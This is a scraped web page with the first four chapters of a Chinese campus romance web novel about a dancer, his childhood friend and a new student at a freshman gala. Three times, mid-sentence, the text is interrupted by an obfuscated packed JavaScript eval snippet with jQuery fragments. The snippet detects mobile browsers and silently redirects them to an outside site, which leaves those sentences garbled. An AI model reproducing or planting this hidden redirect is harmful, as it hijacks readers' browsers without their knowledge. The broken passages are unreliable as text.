《我喜欢你竹马很久了》 1. 溯宝 第1章 校内学生会会长竞选在即。一个月前,体育部部长贺铭非和学生会的其他部长打了个赌。 今晚,是见证他是否赌赢的时候。 礼堂布置完美,灯光、摄影、音响就位,计算机系的迎新晚会正式开始。 后台化妆间里,贺铭非在整理衣着头型。 有人偷偷进来拍了他的肩膀。 “等会儿我私聊我班的人,让他们都给你投票。” “你这么做,那我这场赌约输定了。” “你本来就输定了啊!” 贺铭非回头看他,咧嘴一笑,“放心,我稳赢。” 这人不留情地笑了,目光在贺铭非布料都削减不了多少视觉冲击的肌肉逡巡。 “这位肌肉木头同学,我提醒你,你的赌注是得在今晚表演跳舞,还得在最后投票中得、人、气、第、一。” “明显很 ‘蓝’的呀。” 贺铭非自信:“你怎么确定我之前没有舞蹈基础?” 这人嘿嘿邪笑,“有人翻到了你发小历史Q-Q空间动态。他小学教你跳交际舞,你老是踩他的脚,怎么教都教不好,气得他发动态宣布和你绝交三天。” 后来那三天里,贺铭非每天跟在夏洄屁股后面,不敢说话,就是跟着,塞给夏洄他喜欢吃的零食,然后一言不发跑掉了。 黑历史被揭穿了,贺铭非懊恼,刚才稳赢的自信架势没了。 - “哈哈哈哈哈!我感觉国庆节我们肯定能去贺铭非家里的度假村大玩特玩!还是免费的!七天!芜湖!” “他哪里来的自信答应我们今晚跳舞稳赢的!这次栽跟头了吧!” 说话的两个人是学生会成员,非计算机系学生,今晚特意来看热闹。 “喂喂,你过来。” 一个人指着前方,那里有个高挑清瘦的身影。 “那不是夏洄吗?他是来为贺铭非加油打气的?” “你说呢,人是发小,感情好得不得了。” - 夏洄走进化妆间,里面除了贺铭非,还有个人在。就是刚才和贺铭非说话的人。 他看见夏洄站在门口,一身洁白缎面衬衫,瞪大了眼睛,惊讶了。 “我靠,你俩穿的是情侣装?!” 贺铭非身上穿的是黑衫。白衫衣角的刺绣花纹图案出现在黑衫的袖口。 夏洄没有理大惊小怪的那人,径直走向贺铭非。 “你是不是没看手机?” 贺铭非:“怎么了?” “丽姐他们到了,给你发消息你没回。” 相比平常的素颜,面前的夏洄上了点腮红。 不知道给他上妆的人是谁,这点腮红恰到好处,让人移不开眼。 贺铭非盯着看了一会儿,忘记说话,直到夏洄喊了他一句。 贺铭非回过神,“你手机给我用下。” “干嘛?” 贺铭非解释了一番。空间动态八百年没动了,夏洄无所谓。 贺铭非还把掌心摊出来,等着给他手机。 夏洄低头看了眼他的手:“裤兜里啊,自己拿。” 贺铭非立马把手收回来,他也是当部长当班长当习惯了,下意识在夏洄面前做出命令式动作了。 他贴近,自己去拿,这个距离能让他嗅到夏洄身上清新淡雅的柠檬香。 当着夏洄的面,贺铭非点开他的空间,设置了动态仅三天可见。 夏洄坐在椅子上,双腿交叠,显得腿更长了,第三个人看了一眼惊呆了。 感觉夏洄身上连个西装裤的褶皱都是漂亮的。 他听见夏洄冷笑,秋后算账般,不过不是对他。 “你这回也踩了。” 贺铭非心跳失了半拍。 “很多很多次。” 好了,这下是真生气了。 夏洄教贺铭非跳舞一个月了,贺铭非是个四肢不协调的傻子,专门和他的脚过不去。 贺铭非这一个月表现得特别谨慎,不光是在训练时,私底下更是,已经到了夏洄一个眼神,他就知道要端一杯水过去的程度。 其实已经算过账了,不过现在夏洄想起来了还是很气。 贺铭非傻笑两声,带着歉意,但不知道现在该做点什么。 夏洄给他个台阶:“脖子酸了。” 接着一双手用合适的力道揉捏起来他的肩颈。 “溯宝老师辛苦了,小贺子给您当牛做马,伺候您一辈子。” 溯宝老师也不客气,吩咐,“中间也按一会儿。” 小贺子颔首:“嗻。” 房间内的第三个人目瞪口呆。 ——离谱,我看见了什么,面前这狗腿小太监是谁,怎么夺舍了一言不合就干架的阎王? 学校里有些人说过,夏洄脾气特别差,记仇。 夏洄想起来房间里还有个人,他看过去: “你还有事?” 第三个人疯狂咽口水,难怪大家都说夏洄气场不是一般的强。 次次比赛第一,气场能不强吗? 他抬手擦擦额角,感觉出汗了:“那个,你们晚上是要表演双人舞吗?” 小贺子转过脸,重新变成别人印象中上位者的模样。 “所以说我稳赢呐。” 双手和神情格格不入,还在兢兢业业伺候溯宝老师。 “我敲!”第三人快要跳起来,恍然大悟,“你真会钻空子啊,赌注就说你跳舞赢,没说你一个人跳舞,我靠,你真要稳赢啊!” 他赶紧跑了出去,把这个消息告诉所有下赌注的人。 一时间,所有赌上会长竞选的人都知道了,贺铭非今晚要和夏洄表演双人舞蹈。 天塌了。 塌了一半。 有夏洄在场,贺铭非的人气会比他自己高很多。 现在就祈祷肌肉木头出现舞台事故,跳得不好,拉低了夏洄的友情出场分量。 - 很快,贺铭非被学生会那群人喊走,气势汹汹讨伐的样子。 经过小贺子几番捏肩捶腿,夏洄因失眠没睡好的肩颈好受多了。 化妆间外的走廊空荡荡的,夏洄点开手机,问丽姐他们在哪里。 他低头打字,然后他的眼睛被微凉的触感蒙起来,耳边响起低沉的男声。 “夏洄同学,还记得我么?” 夏洄抓住蒙眼的手腕。 比他的还细。 “丽姐,别闹了。” 穿着复古红裙的女人跳到他面前,吐吐舌头。 “你怎么猜到的?我男音已经练到很像了诶,刚才碰到贺铭非,他真以为我是个男的,差点要折断我的手。” 丽姐刚回国,夏洄走上去抱了她,蜻蜓点水的拥抱,说好久不见。 “哎哟,被甜心主动抱了呢,好开心呐。”丽姐双手捧脸,身体左摇右摆,扭捏娇羞。 夏洄:“。” “让我看看溯宝等会儿要上台的妆。” 丽姐凑近——嗯,眼线眼影高光都没化,就涂了点腮红。 她不禁好奇是谁帮忙化的。 腮红的加入,给天生清冷的五官蒙上海棠色薄纱,朦胧中现出几分秾丽,懒懒抬眸的动作都格外有韵味。 和跳古典舞的妆造不一样,现在的夏洄像块点缀了草莓的茉莉白蛋糕,很诱人的感觉。 “我老师,”夏洄摁住想往他脸上捏捏的手,“她路过礼堂,逮到我了,最后帮我画了个腮红走了。” “感谢老师,伟大无需多言。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749406|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 丽姐还是想摸一下,被诱惑了般就很想。 夏洄躲开了,眼神幽幽看了眼丽姐身后,“你刚从厕所出来吧。” 丽姐哈哈干笑,“洗了手啊。一年多没见,很想你诶。” 简单聊了近况。夏洄这边照常,无非是按时上课,练舞,参加比赛,偶尔独自旅行。 丽姐全部看了他这一年的比赛,三次大型比赛,四次高校联赛,夏洄都拿了第一。 “那方面呢?有没有心动嘉宾?”丽姐挤眉弄眼暗示。 夏洄还没有这方面的打算。 丽姐理解。她家溯宝还没实现人生目标呢,暂时不谈就不谈吧。 反正喜欢溯宝的一大堆。 实在不行,最后只能便宜贺铭非。 夏洄掌心覆在腕骨皮肤上,垂眸,可惜自己摸自己解不了渴。 “不过……” “我分手了。” 同时开口。 丽姐说完,扭头看向夏洄,“你刚才是不是也说话了?” 掌心抬离腕骨,夏洄收了手。 差点要说出来了。 不能说。 哪怕是丽姐都不能知道。 夏洄收了收脸色:“前夫哥我还没见过。” “见啥啊,又不是你前前前前前前前夫哥。这次的前夫哥不值得你见。” 夏洄默默在心里数有几个“前”,按顺序排列人名,悄悄动动手指数数,还是没确定是谁。 前夫哥太多了。 然后他说,国庆节要陪玩么? “啊啊啊,暖心溯宝,姐姐爱你,”丽姐熊抱,“有你这句话就够了。” 没人敢单独陪丽姐出去玩,因为要做好连续七八个小时购物拎包、第二天酸手痛脚的准备。 不过分手失恋这种事对丽姐来说家常便饭,洒洒水啦,和夏洄这个恋爱小白理解的肝肠寸断的失恋不一样。 “我看京大还是有很多帅哥的,比如这个。” 丽姐下巴微抬,示意夏洄往斜前方看。 夏洄看到了一个男生。 丽姐问,“你觉得他是不是超适合当模特?” 她名下的工作室最近在找模特。 夏洄家族里有些亲戚混时尚艺术圈,他客观评价,“嗯,五官、气质、身高都很突出。” 丽姐表示赞同,这不是她第一次见到这个男生。 她刚进礼堂就和他错身而过,在原地愣了足足几十秒,直到旁边人喊她。这男生简直超适合当模特啊。 “我在你们学校论坛的帅哥集合贴里从没刷到过,说明他应该是新生吧?” 她口中的男生往前走的方向正是他们这边。 男生穿着燕尾服,看样子是要去音乐室。 夏洄盯着他看,打量的目光毫不掩饰。 好像在七中的荣誉栏见过这张脸。 不是他同届,应该比他小一届。 忘记叫什么名字了。 “帅哥!” 丽姐把人喊过来,刚想问他叫什么名字。 然而他背后出现一道人影。 “柏言!有急事找你帮忙,快过来一下!” 喊话的人慌慌张张,满额热汗的。 相比之下,在他身前的柏言静得有点冷。 他走了。 丽姐刚才低头看手机,抬头时,旁边的夏洄看着远去的背影。 还眉头轻拧着。 她伸手在夏洄面前上下摆了摆,不禁笑,“不说不认识嘛,人都走远啦还看。” 夏洄收回视线,“他刚才好像对我笑了一下。” 丽姐回想他的长相,高眉深目薄唇,标准的高冷脸。 “看错了吧。” 夏洄就是觉得奇怪。明明不认识。 2. Binks Sake 第2章 先天男模圣体一走,丽姐注意力重新来到夏洄身上。 “溯宝你是不是感冒了?感觉刚才你说话有些时候鼻音蛮重。” 夏洄摸鼻尖,嗯了。 昨晚下大雨,他失眠睡不着,好不容易等到后半夜迷迷糊糊睡着了,却忘记关窗,冻到了。 丽姐愤愤:“贺铭非有时候真的对朋友很不上心,居然还让你特意跑到计算机系来表演节目,就为了一个破会长竞选。” 夏洄:“又不是临时说的,我前年发烧了也顺利比赛完了啊,这点程度没有多大影响。” 这次答应来计算机系表演,是给贺铭非的生日礼物。 好吧好吧,丽姐不想因为别人破坏她和溯宝的感情,随便了。 舞台方向传来热烈的鼓掌。 时间差不多了。再过一个节目,该夏洄和贺铭非这一组上场了。 丽姐先走了,她说去趟药店。 她什么性格,要去做什么,夏洄都知道,所以没拦。 他家里有药,但普通感冒他不想吃药。就是不喜欢吃药。 贺铭非找到了夏洄。 “马上要到我们了,怎么办,我突然有点紧张,第一次在台上跳舞。” “我没有上台紧张过。不过老师之前说过拥抱、吃巧克力可以缓解紧张。” 现在也没有巧克力。 贺铭非直接把夏洄带进胸膛,狠狠抱住。 他很壮,很高,像是抱着一只小他一倍的人偶。 夏洄脊背被压进厚实的身躯。贺铭非体温很高,他能感受到衬衫下皮肤的热。 不同于和丽姐蜻蜓点水的拥抱,男女有别,缓解不了皮肤的渴。 此刻这长久的拥抱给他的感觉,像是盛夏梅子酒,很凉,很爽,又解渴。 所以说,渴肤症就像是他突然出现的弱点,让他无法自控。 谁会把自己的弱点告诉别人?哪怕是最亲密的人也不可以。 “很紧啊。”夏洄推了推贺铭非。 贺铭非笑眯眯松开手,他从外面跑过来的,身上还有点汗。马上要上台了,夏洄对表演的形象很在乎,他整理了乱掉的衣服,让贺铭非擦擦脸上的汗。 - 舞台。 主持人介绍下一个节目由夏洄、贺铭非表演。 听到夏洄的名字,台下炸开了锅,像是酝酿了一段时间的水,压抑许久,终于可以沸腾了。 除了刚入学的新生,全校人怕是都知道夏洄的存在。 他们对夏洄的惊鸿一瞥还停留在上个月,夏洄在京州剧院直播表演的古典舞《忘红尘》。 彼时,夏洄翩若惊鸿,脚下舞台宛若瑶池,步步生莲。 一步到位的旁腿接转身、抱腿连转、三连后空翻——刚柔并济的力量完美融入他赏心悦目的肢体延伸感。 舞台灯暗下,贺铭非靠近夏洄,揽他腰,低头,鼻尖贴着削薄的锁骨。 光是这个开头,台下就欢呼起来。 “肌肉木头开头跳这两下还挺有感觉的。” “还得是发小教得好。” “没想到现场看夏洄跳舞是这种感觉,他真是牛啊,感染力好强。” “朋友们,我感觉我们被下套了。”学生会那几个打赌的成员说道。 现场应援声热烈不断,高喊着夏洄的名字。 单看贺铭非跳舞,及格线左右,动作算不上漂亮利落,甚至有的地方笨手笨脚。 但有夏洄带着他跳,就像是有了摧枯拉朽的力量,被抬高到本不属于他的水平。 他们穿着情侣装,配曲又是讲爱情的歌词。 这是支现代舞,又是场微舞台剧。 歌词唱着: “Wanna join my game?” “Don''t tell me lies” 夏洄抬手往贺铭非心口轻摁,推开他,那个眼梢微挑的动作肆意漂亮。 他是这场舞蹈的主人,也是贺铭非的主人。 他完美的律动吸引着笨手笨脚的贺铭非,情不自禁朝他靠近,低头。 就好像,两个人的舞蹈水平差别就该这么大,这样才有表现力,才能如此漂亮。 于是音乐结束后,掌声、呼声水涨船高般热烈。 到了短暂的采访环节。 主持人替观众问出一个问题,这支舞的编舞是谁。 夏洄拿着话筒,说,我。 台下响起了一阵阵欢呼,还有一个对夏洄现场高喊我爱你的。 主持人等台下平静了,又问,为什么要这么编呢? 这个问题……夏洄看了旁边一眼,把话筒递过去。 贺铭非笑笑,“因为我跳舞很烂,总是会惹小夏老师生气,普通的舞蹈我跳不来,所以小夏老师就专门设计了这个节目,你们就说好不好看吧!” 台下异口同声:“好看!!!” 贺铭非笑意更深:“那就记得多支持我们啊。” 台下几位和他打赌的人此刻很想冲上去揍他一顿。 不带这么犯规的。居然请外援,还是这么强悍的外援! 这是场迎新表演,最后的人气投票是助兴,没有利益牵扯。所以投谁都可以,看心情。 贺铭非这么一提示,肯定拉到了很多票。 - 夏洄头有点晕,提前下台了。 后台,丽姐握着一瓶热水和一包药,等着他。 夏洄涂了腮红的地方颜色更深了,呼吸缓慢沉重,看上去像是发烧了。 丽姐手掌插-进他额发,贴着前额。他额发汗湿,嘴唇边缘发白,硬撑之后是脱力的疲惫。 作为十几年的发小,丽姐非常清楚,夏洄每次跳舞都用尽所有心力,哪怕是身体欠佳,哪怕是很小的台面,他也要呈现出最好的姿态,不辜负观众给他的每一场舞台。 白净的额头透着不正常的热度,丽姐吓到了。 “真发烧了,快把药吃了。” 夏洄双手捧着保温杯,坐在角落里,瓶口升腾出来的水汽把他的脸颊蒸出了更多的粉。 有点烫,他小口小口抿着溶于水的颗粒,嘴唇湿润。 丽姐找不到贺铭非,这家伙下台后好像跟着一群人边走边吵,不知道去哪儿。 丽姐无语:“他对发小就这样。” 夏洄让丽姐坐下来休息会儿。 “可能太兴奋了,没发现吧。” 他继续说: “他去年选修了两个学期的中医药学,缠着老师问中医学方面的东西,当时他既是班长,又是部长,还抓着绩点。” 丽姐懂了。 夏洄是早产儿,小时候生过一场大病,身体不是很好。 容易生病。 胃也不好。因为总是会因为练功忘记了吃饭。 夏洄是非拎得很清,坏的他不放过,好的他也记得很清楚。 丽姐跳过这个容易吵架的话题。 “溯宝,姐姐晚上住你那儿成不,有空房间吧,像上次那样?” 夏洄说,没问题,住几天都没问题。 舞台那边传过来主持人报幕的嗓音。 到下一个节目了。 夏洄站起来。 丽姐问他去干嘛。 夏洄:“有人要弹钢琴了,我想听一听。” “你朋友?” “就刚才那个你问我认不认识的啊。” “哦!那我也去!感觉他弹钢琴肯定超优雅的。” 夏洄也这么觉得。 他手指那么长,是每个弹钢琴的人羡慕的程度。身高气质摆在那里,很游刃有余的感觉,表演起来该是赏心悦目的。 观众席上几乎没有空位了,好在他们很快找到了两个前排的空位。旁边的人说这两个人有事先回宿舍了,他们直接坐就是了。 夏洄坐下来,后面两位女生在说话,声音不大不小。 “路柏言真的帅惨了,我刚才在后台不小心撞见他了,帅得我不敢看他,我的天,我们系吃得真好,先是有贺铭非,后面又来个路柏言。” 丽姐听到了名字,她低头在手机上点了几下。 “终于查到了,全名是马路的路,柏林的柏,语言的言。” 路柏言? 夏洄想了一下,他记得路柏言的脸,很难让人忘记的一张脸,可对这个名字真的没有印象。 虽然他和路柏言应该在七中一起读了两年书。 后面又有一个女生说,“好像他要和他班上的一个女生二重奏,挺温婉的一个女生,不知道是不是他女朋友诶。” “他有女朋友也正常吧。昨天我去看新生,他一个人通过了教官所有的变态体能挑战,咱们系新生都因为他额外休息了一小时。羡慕死个人。咱们当年过的是啥苦日子啊。” “哇塞,能多休息一个小时,那挑战是多变态啊,这都能达到。” “是啊,就冲这点,今晚人气投票,那些多休息了一小时的新生不投他都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749407|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说不过去。” 丽姐和夏洄咬耳朵:“贺铭非不把你拉过来,这场赌局他准输。” 台上的相声表演落幕,短暂的采访后,主持人介绍下一个节目。 “接下来有请路柏言、温怡同学带来二重奏——《Binks'' Sake》!” 夏洄蹭地站起来。 丽姐疑惑,问他怎么了。 “没什么。”夏洄怔愣坐下。 “卧槽!海贼王!” “卧槽!宾克斯的美酒!” “卧槽!布鲁克!” “卧槽!拉布!” 丽姐摸不着头脑,“那群男生在卧槽些什么,有什么好激动的,跟啦啦队喊口号似的。” 夏洄低眸,眼睫颤动,“因为这首歌是动漫《海贼王》里的插曲,中文名叫《宾克斯的美酒》。” 哦。原来是二次元。 “你也是二次元?” 丽姐问道。夏洄摇头,嗓子有点哑了,昏暗里看不清他神色。 “我爷爷是,小时候让我陪他看《海贼王》。” 丽姐想起来了,夏洄的爷爷还挺牛批,是个退休的海军官员。 不过……在夏洄初中时过世了。 “溯宝,怎么感觉你要哭了?” 丽姐凑过去轻声问,递过去两张纸巾。 天知道她很久没看见夏洄哭了。 小时候她和夏洄一起练舞蹈,开肩压腿开胯,撕扯般的痛,班上同学哭得喘不上气时,夏洄咬着牙,满额汗,愣是不哭。 可能是想起了爷爷。 夏洄吸鼻子,“没有,我很喜欢这首曲子,很久没现场听到了。” 从他四岁学会乐器起,家里每个新年必备的活动是,全家人一起合奏这首曲子。 那时候爷爷奶奶还在。 “这首歌还挺欢快的。”丽姐看向舞台。 路柏言长指弹着钢琴,和他坐在同一水平线位置的女生穿着素雅的白色长裙,拉小提琴。 古典优美的组合演奏着属于派对的欢乐曲子。 她有种想和一群人手挽手,并排跳舞的冲动。 夏洄嗯声。爷爷也很喜欢这首曲子,这首曲子温馨又欢快,爷爷说适合家里新年或者圣诞的合奏。 夏洄也看向舞台。 和他预想的一样,路柏言弹得很好。 钢琴架上没有琴谱,说明他还把这首曲子的琴谱记下来了。 直到演奏结束,都没有错音。 拉小提琴的女生也很有默契,他们的和音部分相当完美,应该排练了很多很多次。 如果他能投票,他会投给路柏言这一组。 贺铭非姗姗来迟。他发动人脉,问到了夏洄坐在哪里。 他挤到夏洄旁边坐下来。 “刚才被那群狗比拉出去群战舌儒了一顿,不过他们还是愿赌服输。” 贺铭非笑了。然后注意到气氛不对劲。 夏洄和丽姐都很专注地看舞台。 什么东西这么好看? 贺铭非抬头,灯光太亮,有点反光。从这个角度,他看不清正在弹钢琴的男生长什么样。 不过夏洄盯得很投入。 贺铭非心里不爽,打开手机的相机功能,对着燕尾服男照,放大镜头倍数,他看清了这张脸。 妈的。 怎么是他?! 最后一个音符落定,全场掌声热烈。这反响,让贺铭非眼皮跳动。 还没到最后人气投票环节。赢没赢还不知道。 “这什么曲子?”他问。 后座男生也是学生会的,认识贺铭非,以为这个问题是抛给他的。 “《海贼王》里的宾克斯的美酒。” 贺铭非听都没听过。 经典采访来了。主持人替台下问出最关心的问题。问路柏言,问他是二次元吗。 路柏言拿着话筒,灯光下他身量颀长沉稳,他是学校里代表青涩的新生,气场却很稳,让人无法忽视他的每一个字。 “很遗憾,我不是。” 这个回答,把台下一大片想要扩列的二次元拒之门外。 路柏言这个条件,出cos非常完美啊! 主持人听见了台下的哀声怨道,打趣:“看来你失去了很大一波人气啊。” 路柏言浅浅笑了。 台下观众手里的闪光灯哐哐眨眼,拍下这一幕。 他笑意依旧很浅,说,“没关系,我的目的已经达成了。” 3. 预告 第3章 迎新晚会接近尾声。 礼堂男厕所某个隔间里,吃坏肚子的裴晓培很可怜。 还没看完夏洄的表演,让消化系统给背刺了。 “你觉得他们谈恋爱了吗?” “肯定啊,跳舞的时候我看贺铭非那被勾得失魂落魄的眼神不像演的。” 有人叹气。 “刚才碰到夏洄了,我和他搭讪,说他跳得很好,我们寝室都会投他,他说了句谢谢。” “你还想听到什么?说喜欢你啊?” “我没疯到这种地步,就是,对我笑一下呢?” “现在就算了吧。” 他们和夏洄同一届。夏洄大一刚入学时,没现在这么冷淡。 每次到计算机系来找贺铭非,有些热情的男生主动打招呼,夏洄会微笑回应。 可这些人里面有个屌-毛,说夏洄每次看到他就笑,肯定喜欢他。 发私信性-骚扰,发裸-照,在被夏洄删了后,就造黄谣,老师都知道了。 夏洄亲自找他说谈谈,这人就动手动脚,夏洄气得狠狠踹了他一脚。 他那玩意儿被踹得对传宗接代有影响了,他家人亲戚就找夏洄闹,找夏洄家里人闹,还来学校闹。 夏洄一句“他不喜欢男的么?以后正好当0啊”,把他家里人彻底惹毛了。 后面不断骚扰夏洄和他家里人,打官司,上法院,大半年了这件事才结束,哪怕是受害者都心力憔悴了。 - “裴晓培真可怜,还在窜稀,这么久了。” 丽姐把手机锁屏。 夏洄面露担忧:“啊,这么严重?等会儿我们陪他去趟医院吧。” “我陪他去,你先回家休息,都发烧了。” 不聊这么有味道的话题了。 “路柏言居然是七中出来的,早知道我当时努努力考到七中去了。” 丽姐把手肘戳在膝盖上,支着脖子在想,路柏言那张渣男脸在高中得被多少人追啊。 夏洄语气幽幽:“你以前也说过后悔没考到七中和我一起上学。” 手肘塌了。丽姐差点跌倒,呵呵傻笑。 “不过说真的,你居然不记得学校里有这号人物,要是我,我一辈子都不会忘记这么帅的男生。笑起来的时候绝了,更像玩弄感情的渣男了,让人又爱又恨。” 夏洄摊开双手,这也不是他的错啊。为什么要用居然? 他在高中很少很少参加集体活动。升旗仪式、跑操、运动会之类的,他都避开了。 因为高一有次升旗仪式,他当众晕倒了,查出来有低血糖。 家里人找到校长商量。结果就是,以后阳光下的所有集体活动,他都可以不用参加。 丽姐:“你现在总能记住人家了吧!毕竟你们喜欢的曲子那么小众,还都能记住琴谱。” 夏洄不是很在意这个话题,随口答:“你都这么说了。” - 看完路柏言的节目后,贺铭非出去了一趟。 回来的时候一身烟味。 人气投票夏洄和贺铭非这一组是第一。 不过,第二名是路柏言那组,票数紧紧咬着,只落后了25票。 丽姐看向贺铭非,操着阴阳怪气的调调,不像是祝福。 “恭喜啊,人气第一,竞选稳了。不过怎么脸色不太好看呐?” 夏洄也问了一句。 贺铭非掩盖了真相。只说,体育部有份策划案被驳回了,又要花时间重新做。 夏洄咳嗽了两声,退烧药慢慢起作用了,他呼出来的气还是热的。 他的脸颊红得还是不太正常。刚才在观众台昏暗的场景里不太明晰。 贺铭非蓦地握住了他的手腕,脸色登时变了,“怎么有点烫?” 丽姐啪啪鼓掌:“你终于发现了啊。溯宝发烧了,你知道吗?” 掌心贴着的体温发烫,烫到了贺铭非心里去了,心脏发颤。 是啊,他怎么才发现? 他抬眸,对上了夏洄的眼睛,因为生病有些雾气湿润的眼睛。 幼猫似的。 “我先送你回家,药吃过没?没吃我去买。” 贺铭非拉着夏洄手腕,站起来。 夏洄没有跟着站起来,他还坐着,摇头。 “我现在感觉好多了。裴晓培一直拉肚子,我想等会儿陪他去医院。” 夏洄对别人,寡情得难以接近。但这群从小一起长大的朋友能体会到夏洄有多好。 这一点,贺铭非清楚,没再强求,陪着一起等。 期间打电话让人送了体温计和温开水过来。 37.7度。 他们一起等了十几分钟,裴晓培终于来了。 “幸亏你们学校礼堂厕所是马桶,不然我腿得麻掉”。 注意到体温计后,裴晓培问了一嘴,得知夏洄生病了还在等他,要陪他去医院看看肠胃。 他感动得张开双臂,要来个拥抱。 夏洄却拧眉避开他。 贺铭非挡着裴晓培。 “你身上都入味了,离我们远点。” 得亏礼堂外面风大,裴晓培在风中站了一会儿,臭味散开了。 就是夜风很大,会冷。 贺铭非去把车开过来。临走前,把外套脱下来给了夏洄。 外套上留有体温,存在感很强的体温,这让夏洄想起了贺铭非的拥抱。 裴晓培噔噔跑过来,“溯宝溯宝,我现在不臭了,来抱抱。” 丽姐给他脑袋一巴掌:“车来了,你别耽误时间了,快去医院,溯宝还得早点休息呢。” 他们去了社区医院,挂了号,前面还有三个病人。裴晓培又去拉肚子了。 丽姐开玩笑说,这段时间正好可以够溯宝打个点滴,退烧效果更好。 夏洄:“不要。” 然后他逃去了车里。 打针吃药,小时候已经饱得够够的了。 医生开了三天的药水。裴晓培晚上挂了一瓶大的,一瓶小的,明后两天还得继续过来。 不过没关系,在他坐高铁来京州前,夏洄就答应收留他到国庆节后了。 - 夏洄住在京大附近的小区,单独的一套房。 上高三的时候,家里人买的,说以后方便溯宝上大学。 贺铭非把车开到小区楼下。 丽姐和裴晓培两个人都要住在夏洄家里。丽姐只住今天一晚上,明早夏洄应该就完全退烧了,她回家住。 目的地在三单元,小区最里面一栋楼。要走一段路。贺铭非环顾四周,他本来也要搬来这个小区一起住。 奈何家里以前当过兵的老爷子坚决不同意。 老爷子说,要忆苦思甜,当年他一百人的大通铺都睡过,脚臭气熏天,呼噜声雷鸣!如果寝室都住不了,那就别上学了! 所以他大学四年都得住寝室,很操蛋。 电梯停在了7楼。夏洄摁密码门锁。三个人在后面等。身后有把门推开的动静。 贺铭非下意识转头过去。 “你这是要搬家?” 拖着大纸箱的社畜大汗淋漓,把往下滑的眼镜扶正:“对啊,这里房租高嘛,我负担不起了,干脆搬到别的地方住了。” 贺铭非心头一动,“麻烦你把房东联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749408|174267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系方式推我。” 好巧,正好让他碰上了。先不管老爷子同不同意,他先斩后奏。虽然极有可能不同意,但他假期可以过来住。 社畜说,晚了。 他在各大社交平台发布转租的当天,就有人和房东签了合同。 房东说,从没看过这么爽快的人。 贺铭非有种不舒服的感觉:“谁啊,这么急着住进来?” 社畜回:“是个大学生,说附近环境优美,设施便利,交通发达,他很期待住进来。” “这附近哪个小区不满足这些条件?” 贺铭非更不舒服了。 社畜笑笑:“谁知道啊,说不定有钱呗,能选附近最好的小区住啊。” - 他们进屋很久了。贺铭非才进来,脸色有点黑。 夏洄问他今晚怎么回事,明明得偿所愿,脸色还不好看。 贺铭非心口犯堵。从看到路柏言那一刻开始。 “刚才我和你邻居聊了会儿,他说他要搬走了,下周要搬进来一个大学生,估计是我们学校的。” 夏洄握着玻璃杯,灯光下穿着羊毛衫的他毛茸茸的,更像猫了。 漂亮猫。 他轻轻笑,“你怎么一副要住进一头狼,然后把我吃掉的表情?” “都是同学,还好吧。” 贺铭非不语,这个下周要搬来的人不知道是谁。他眼皮在跳动。社畜说的话给他的感觉不对劲。 “铭非,你手机响了。”裴晓培在客厅喊道。 贺铭非走到阳台接了电话。 丽姐出门拿了份外卖,kfc夜宵烧烤。 裴晓培这个腹泻患者馋得不行。 夏洄也是。 他最近,嗯……就吃很多,很多。 之前是小鸟胃,为了控制体重,能少吃就少吃。 冰箱里还有他下午没吃完的柠檬芝士蛋糕。 不敢吃完。 真的好罪恶。芝士蛋糕是老师那儿的卡路里刺客No.1。 他们都没说他胖了。倒是裴晓培,肉眼可见的胖了一圈。 “哦,我胖了十五斤。” 裴晓培是个舞蹈生。 他从难以接受到现在……放弃挣扎了,此刻说出来甚至云淡风轻。 丽姐惊呆了,还说,“你看把溯宝吓的,嘴巴都哦成鸡蛋了。” 贺铭非不知道他们在说什么,捏着手机走过来说,“几个哥们找我喝酒,我先走了。” 夏洄盘腿坐在沙发上,很安静,贺铭非朝他弯腰,掌心探了探他的额头。 体温正常了。他放心了。 他朝大门走去,夏洄在后面喊,“等一下。” 贺铭非回头,笑了笑,“干嘛,舍不得我走啊?” 夏洄指了指椅背上的外套,贺铭非给他穿过的那件。 “外面冷,你记得带上。” 直到关上门,贺铭非的嘴角就没放下来过。 溯宝对他好,他要对溯宝更好才行。 他走后,里面的对话继续。 丽姐打量裴晓培一圈,“我猜你失恋了,所以暴饮暴食。” 裴晓培给个大拇指:“不愧是斩男无数的丽姐。” “失恋这么可怕?” 这里面唯一没谈过恋爱的夏洄发出惊讶。 丽姐咬了口鸡腿,香辣味的,香得溯宝要流口水。 可惜他感冒发烧吃不了。 她说:“那得看你多喜欢对方了。” “比如说,像你前夫哥,我只拿他当炮-机,所以别想在我心上留下半毛痕迹。” 夏洄若有所思,还能这样啊。 4. 目的 第4章 第二天天微亮,丽姐在客厅收拾东西准备回家,不小心打碎了一个玻璃杯。 “罪过罪过。” 丽姐对着碎片遗体双手合十。弯腰下去捡,不小心被割到了手。 